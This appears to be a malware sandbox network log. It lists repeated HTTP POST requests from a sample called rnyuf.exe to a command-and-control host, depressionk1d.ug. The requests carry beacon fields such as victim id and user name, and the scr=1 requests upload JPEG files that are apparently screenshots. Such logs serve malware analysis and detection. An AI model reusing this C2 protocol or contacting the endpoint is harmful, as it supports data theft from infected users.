Nov 12, 2021 22:23:53.705554008 CET	7910	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.4	49953	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:53.721901894 CET	7910	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:53.722143888 CET	7910	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:53.722384930 CET	7920	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:53.722665071 CET	7923	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:53.745378017 CET	7926	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:53.745465994 CET	7949	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:53.767868042 CET	7954	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:53.767910957 CET	7962	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:53.768085003 CET	7970	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:53.768203974 CET	7992	OUT	Data Raw: 34 fe b0 fb 69 7b 7e 2f fe 1f fe 18 1e 1d 5e d7 fe bf ad 3d 4e 7e 2d 1b 55 9a c1 6f e2 d2 ef a4 b3 66 08 b7 09 6e e6 32 c4 ed 00 30 18 ce 78 c7 af 15 0c 76 37 93 cc f0 c3 69 71 24 a8 c1 1e 34 89 8b 2b 16 0a 01 00 64 12 c4 0c 7a 9c 56 ef 8a b4 dd Data Ascii: 4i{~/^=N~-Uofn20xv7iq$4+dzVrMf]o4Ffr3[lqx[RSR=+]v/CIa.usFXzqU5'4/."{6FUf<x:j:h%i
Nov 12, 2021 22:23:53.768259048 CET	7999	OUT	Data Raw: cc 6c 0a 88 49 da 30 a1 59 fd 72 5b 3c 60 63 94 a3 bd 64 a8 41 7f 5e 9f e4 69 ed 64 6c 5f f8 92 f6 ef 41 b2 d0 ed 64 bc b4 d2 ed 92 44 6b 6f b5 b3 24 db a5 69 14 ba 80 01 23 70 19 c7 f0 e7 8e 82 6b 8f 13 79 da 6c da 50 b1 65 d2 c5 ba 25 ac 02 61 Data Ascii: lI0Yr[<`cdA^idl_AdDko$i#pkylPe%a&bYlqF!`W[q5<\/#'y<y8-RXl7nbqRh\j\|734$*7-T"VUWZ}5^
Nov 12, 2021 22:23:53.815083981 CET	8019	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:53.817548990 CET	8020	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:53.843214989 CET	8020	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.4	49954	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:54.026204109 CET	8021	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:54.053461075 CET	8021	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49798	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:18.548904896 CET	2415	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 31 30 35 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000105001&unit=152138533219
Nov 12, 2021 22:23:18.575047970 CET	2415	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:18 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.4	49955	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:54.187715054 CET	8022	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:54.214098930 CET	8022	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:54.236244917 CET	8023	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:54.236355066 CET	8023	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:54.236677885 CET	8033	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:54.236880064 CET	8035	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:54.259020090 CET	8041	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:54.259078979 CET	8052	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:54.259110928 CET	8057	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:54.259182930 CET	8062	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:54.281778097 CET	8084	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:54.281857014 CET	8114	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:23:54.304456949 CET	8129	OUT	Data Raw: 85 cd 04 d3 73 49 9a 2e 3b 0e a3 34 ca 5a 43 b0 b9 a3 b5 25 14 00 a6 92 92 97 b5 20 0c d2 e6 9b 49 40 0f cd 14 dc d1 40 0b 45 25 14 00 ec d3 68 a2 80 0a 5a 4a 33 45 c0 29 69 39 a2 81 87 7a 5c d2 51 40 8a d4 51 45 62 6c 7a 8f c0 6f f9 1e 6f 7f ec Data Ascii: sI.;4ZC% I@@E%hZJ3E)i9z\Q@QEblzoo2*dUiS#k{`?dUEbs5IwzxO'XJc5\|Uea?U5/F\|i(E}-%-[Yu[Yb?GgGG
Nov 12, 2021 22:23:54.329431057 CET	8129	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:54.342771053 CET	8130	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:54.368699074 CET	8130	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.4	49956	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:54.562738895 CET	8131	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:54.588416100 CET	8131	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.4	49957	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:54.750503063 CET	8132	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:54.776216984 CET	8132	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.4	49958	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:54.779565096 CET	8132	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:54.779675007 CET	8133	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:54.818923950 CET	8143	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:54.819127083 CET	8145	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:54.841941118 CET	8162	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:54.842015028 CET	8171	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:54.865289927 CET	8193	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:54.865381002 CET	8222	OUT	Data Raw: 34 fe b0 fb 69 7b 7e 2f fe 1f fe 18 1e 1d 5e d7 fe bf ad 3d 4e 7e 2d 1b 55 9a c1 6f e2 d2 ef a4 b3 66 08 b7 09 6e e6 32 c4 ed 00 30 18 ce 78 c7 af 15 0c 76 37 93 cc f0 c3 69 71 24 a8 c1 1e 34 89 8b 2b 16 0a 01 00 64 12 c4 0c 7a 9c 56 ef 8a b4 dd Data Ascii: 4i{~/^=N~-Uofn20xv7iq$4+dzVrMf]o4Ffr3[lqx[RSR=+]v/CIa.usFXzqU5'4/."{6FUf<x:j:h%i
Nov 12, 2021 22:23:54.888008118 CET	8225	OUT	Data Raw: 41 26 9f 9d c5 ce ff 00 0b 1a fe 2b be b6 d5 3c 61 ac 5f d9 49 e6 db 5c 5d 3c 91 3e d2 bb 94 9e 0e 08 04 7e 35 91 49 4a 29 c2 2a 11 51 5d 09 93 bb b9 d2 78 3b 52 b6 d3 67 d5 c5 c5 ed 9d 9b dd 69 cd 04 32 5e db 1b 88 77 f9 b1 b6 19 02 3e 46 15 ba Data Ascii: A&+<a_I\]<>~5IJ)Q]x;Rgi2^w>FeM)j{[nb[yVuP0UH!0OL4TwQwhu:I'twOzS-\|U%,/#-c-f8\=%>VIytY)o$k+x<
